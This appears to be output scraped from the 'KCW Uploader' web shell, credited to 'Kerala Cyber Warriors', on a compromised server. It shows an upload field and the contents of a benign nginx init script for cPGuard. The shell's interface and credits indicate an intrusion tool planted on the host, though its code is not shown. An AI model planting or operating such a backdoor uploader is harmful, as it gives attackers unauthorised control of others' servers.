Kerala Cyber Warriors
KCW Uploader V1.1

Path : /opt/cpguard/cpg-nginx/
File Upload :
Current File : //opt/cpguard/cpg-nginx/nginx_daemon.sh

#!/bin/sh
#
# Source function library.
#. /etc/rc.d/init.d/functions

# Source networking configuration.
#. /etc/sysconfig/network

nginx="/opt/cpguard/cpg-nginx/sbin/nginx"
prog=$nginx

lockfile="/opt/cpguard/cpg-nginx/nginx.lock"
pidfile="/opt/cpguard/cpg-nginx/nginx.pid"

NGINX_CONF_FILE="/opt/cpguard/cpg-nginx/conf/nginx.conf"

start() {
    [ -x $nginx ] || exit 5
    [ -f $NGINX_CONF_FILE ] || exit 6
    echo -n $"Starting $prog: "
    $nginx -c $NGINX_CONF_FILE
    retval=$?
    echo
    [ $retval -eq 0 ] && touch $lockfile
    return $retval
}

stop() {
    echo -n $"Stopping $prog: "
    kill -9 `ps aux | grep 'nginx:' | grep cpguard | tr -s " " | cut -d " " -f 2`
    retval=$?
    echo
    [ $retval -eq 0 ] && rm -f $lockfile
    return $retval
}

restart() {
    stop
    start
}


case "$1" in
    start)
        $1
        ;;
    stop)
        $1
        ;;
    restart)
        $1
        ;;
    *)
        echo $"Usage: $0 {start|stop|restart}"
        exit 2
esac

-=[ KCW uplo4d3r c0ded by cJ_n4p573r ]=-
Ⓒ2017 ҠЄГѦLѦ СүѣЄГ ЩѦГГіѺГՏ